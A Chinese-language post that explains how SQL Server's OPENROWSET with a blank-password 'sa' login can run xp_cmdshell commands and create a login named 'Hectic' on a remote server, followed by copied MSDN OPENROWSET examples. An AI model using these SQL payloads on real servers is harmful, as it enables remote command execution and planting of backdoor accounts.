利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。
示例A. 将OPENROWSET与 SELECT 语句及用于 SQL Server 的 Microsoft OLE DB 提供程序一起使用
下面的示例使用用于 SQL Server 的 Microsoft OLE DB 提供程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器上。从datasource、user_id及password中初始化提供程序,并且使用 SELECT 语句定义返回的行集。USE pubs
GO
SELECT a.*
FROMOPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GOB. 将OPENROWSET与对象及用于 ODBC 的 OLE DB 提供程序一起使用
下面的示例使用用于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问pubs数据库中的authors表,该数据库在一个名为seattle1的远程服务器中。提供程序用在 ODBC 提供程序所用的 ODBC 语法中指定的provider_string进行初始化,定义返回的行集时使用catalog.schema.object语法。USE pubs
GO
SELECT a.*
FROMOPENROWSET('MSDASQL',
'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GOC. 使用用于 Jet 的 Microsoft OLE DB 提供程序
下面的示例通过用于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft AccessNorthwind数据库中的orders表。
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT a.*
FROMOPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS a
GOD. 使用OPENROWSET和 INNER JOIN 中的另一个表
下面的示例从本地 SQL ServerNorthwind数据库的customers表中,以及存储在相同计算机上 AccessNorthwind数据库的orders表中选择所有数据
说明 下面的示例假定已经安装了 Access。
USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOINOPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO